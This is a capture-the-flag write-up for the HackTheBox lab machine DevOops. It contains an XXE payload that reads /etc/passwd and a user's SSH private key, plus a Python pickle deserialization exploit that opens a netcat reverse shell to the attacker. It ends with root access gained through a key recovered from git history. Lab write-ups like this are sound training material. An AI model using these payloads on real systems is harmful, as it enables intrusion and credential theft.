HackTheBox - Devoops writeup


Hey there! Been some time since I actually wrote a new blog. Life is a bit hectic as of now, but who cares, right? As of last two weeks, DevOops from HTB got retired. Based on a twitter survey I did, over 30 of you wanted to see this writeup and therefore I decided to grant your wishes. So let’s get into it!

Scanning & Enumeration

As always, start out with nmap to gather initial information:

root@htb:~# nmap -sS -sV -sC -T4 --max-retries 1
Starting Nmap 7.70 ( ) at 2018-10-15 11:00 CDT
Warning: giving up on port because retransmission cap hit (1).
Nmap scan report for
Host is up (0.029s latency).
Not shown: 935 closed ports, 63 filtered ports
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds

A small tip - during lengthy scans you can use the –max-retries 1 flag which significantly improves speeds of scanning. Thank you IppSec! Results of the scan show open SSH (nothing unusual) and HTTP service running on port 5000. Time to enumerate.


Visiting the webpage itself presents us with the following:
Nothing interesting apart from the filename - Make a note of it, it will become important later on. Viewing source showed just simple HTTP and so I resorted to my usual last option - directory bruteforcing. For this purpose I used gobuster :

root@htb:~# gobuster -u -w /usr/share/wordlists/dirb/common.txt -e -t 10

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
2018/10/15 11:07:14 Starting gobuster
===================================================== (Status: 200) (Status: 200)
2018/10/15 11:09:22 Finished

We can ignore /feed as it only points to an image showed on the index webpage. However, the /upload directory sounds interesting.

/upload, as the name implies (duh), allows us to upload files onto the server. 2 major things immediately catch my attention. The website classifies this directory’s content as a “test API” - something you don’t want to expose to public. In an “ideal” CTF like scenario, experimental code often has vulnerabilities in it. Because the website also mentions XML it would be a shame if we didn’t try XML injections, right :) ?


There are 2 ways to exploit this vulnerability and turn it into a shell. Before we do so, let’s show our XXE payload which we’ll slightly adjust depending on what we want to access.

<!DOCTYPE v3ded [  
   <!ELEMENT v3ded ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >

Don’t forget to wrap everything around a root element (in my case <v3>) and use only the previously mentioned XML tags (image here) or the file won’t parse and therefore this attack won’t work. After submitting our payload we get the following:

An output of /etc/passwd which confirms that the host is indeed exploitable and exposes users called roosa & git.

Hint: view source of the webpage to see nicely formatted output

- Method 1: Stealing roosa’s private SSH key

Thanks to XXE we have read access to the file system. Wonder what we can do? There’s an amazing blogpost called When all you can do is read which answers this question. A private SSH key is always a good place to start. We know that there’s a user called roosa and therefore her SSH key would be at a location /home/roosa/.ssh/id_rsa. Modify your XML payload, upload it and see for yourself.

ALl there’s left to do now is to save the roosa.key file, and use it to log into ssh.

Permissions 0644 for 'roosa.key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "roosa.key": bad permissions

If you get the following error message make sure you chmod the key to 600 permissions - chmod 600 roosa.key.

- Method 2: Exploiting a python pickle in

Remember when I told you to not forget about Let’s check how the code of the main webpage actually looks. Once again, upload an XML file with the requested item -

Code extract (lines 17-23):

@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(
#  return picklestr
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']

This part of the code is very dangerous. The pickle library (and its pickle.loads() function) should never be used in combination with user input. Problem is that an attacker can input a malicious serialized object which gets unserialized with pickle.loads(), passed to eval() and therefore executed on the server. Baam, code execution. Not good. More about this issue can be read here.

- Crafting an exploit

From the code we know that the server “safely” base64 decodes POST data made to /newpost and pickle.loads(). If we revert these steps - send a “safely” base64 encoded pickle object, we can achieve command execution. Here’s my exploit:

#!/usr/bin/env python
import pickle
import base64
import os
import requests
class payload(object):
    def __reduce__(self):
       comm = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1235 >/tmp/f"
       return (os.system, (comm,))

payload = base64.urlsafe_b64encode(pickle.dumps( payload()))

r ="", payload)

This fires up a reverse shell that connects to (my IP) at port 1235. Just change the parameters to your needs, set up netcat listener (nc -lvp 1235) and start the exploit.

Congratulations on your shells! Now it’s time to get the sweet root :).

Privilege Escalation

Roosa has a git directory at /home/roosa/work/blogfeed/.git. It’s usually a good idea to search this folder for previous commits, branches and so forth. As Github repositories have all their changes documented, it’s possible to find sensible data that was previously “deleted” by thoughtful developers. Running git log -p inside the .git folder, we can see logs of previous commits.

More about .git dumping here.

Awesome. An SSH Key! Copy it into the notepad, remove + signs and save it as a root.key file. Luckily, as it appears, this wonderful key is assigned to the root user!


ssh -i root.key root@ succesfully authenticates us and presents us with a root shell.

That’s the machine rooted. Congratulations!


Thanks for reading folks! This machine was great a practice, although not so difficult. Next time remind me to list hidden folders as well so that I don’t spend 2 hours roaming the machine when there’s a .git folder right in plain sight… Silly me. Oh well, see you next time!